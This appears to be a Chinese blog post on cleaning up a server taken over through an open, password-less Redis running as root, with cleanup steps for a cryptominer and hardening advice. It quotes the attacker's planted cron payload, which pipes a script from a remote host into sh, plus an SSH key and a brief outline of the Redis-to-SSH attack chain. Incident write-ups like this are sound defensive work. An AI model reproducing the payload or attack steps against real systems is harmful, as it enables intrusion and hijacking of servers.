前几天我朋友给我反馈他的网站打开特别慢,我起初以为他网站访问人数多了并发高了、或者带宽不足、或者代码写质量问题、再或者SQL查询响应慢,或者 Redis “门”开着没关。我立马上服务器看了 top 了下,我惊呆了麻蛋 CPU 98%,第一想法就是粗事了,被干了。
登录到服务器 发现redis 开着门的,redis 未设置密码,且为 root 身份,允许任何源访问,看了下redis 储存的值,发现有一个 key 对于的 value
106.14.57.249:6379> get ssh-key
"\n\nssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAwrTqD/sDRtJarMUVAMj7h5NS3aP2nB8YBcJM4arLqNedVGfIXG/wlYPqb258bIJdbx15Xut6VSGMeYElXN80CGFSJq10RM+WWR+r1SjOlFvwXPyG/fxzI1B9DSGDVRXGLIGzHYuCPhtI/Auh6PhAfNdl/4HxQVGsRXYnLn2f3mNFFfSYykYf55s0JUKxSICv763XAeHlC3oFFkEkrNVO8L8nzDGK6Dk0sv+M27XIcVXH0wriPqrpikwaqHZU/5Pg4yFOTIiJ0FxikjKTT0v951HhcEdMzQSIIuD0aEB5Om+oemODGgEk/sJO6ayucXXoAy/7xuUFl+sWjRpwA/tI+w== root@iZ25510xsyoZ\n\n\n\n"
106.14.57.249:6379> get crackit
"\n\n\n* * * * * /usr/bin/curl -fsSL http://sx.doiton.tk/test.sh | sh\n\n\n\n"
106.14.57.249:6379>
看来redis已经别人干的不行了,言归正传吧。
CPU 已经100%,解决步骤如下:
找到进程和程序所在的目录
ps aux|grep wnTKYg*
chmod -x /程序所在目录(一般tmp下)/wnTKYg
- kill -9 pid(wnTKYg进程ID)
- rm -rf /var/spool/cron (自己看下下面是否有自己的文件)
- rm -rf /root/.ssh known_hosts
- ps -aux|grep ddg* (一般tmp下)删除所有的ddg* 文件
- 看下 crontab -l 定时任务,是否有 莫名奇妙的shell
- redis 方面修改默认 6379 端口
- redis 设置复杂的密码
- redis 不允许使用 root 登录
- redis bind 下IP
他们是如何攻击的呢?
- 利用扫描工具,弱口令扫描redis 默认的 6397端口,可利用著名的 ZoomEye
- 本地生成 rsa ,储存到对方redis 缓存中
- 利用redis config set 来写入一个文件
- 最后 ssh 登录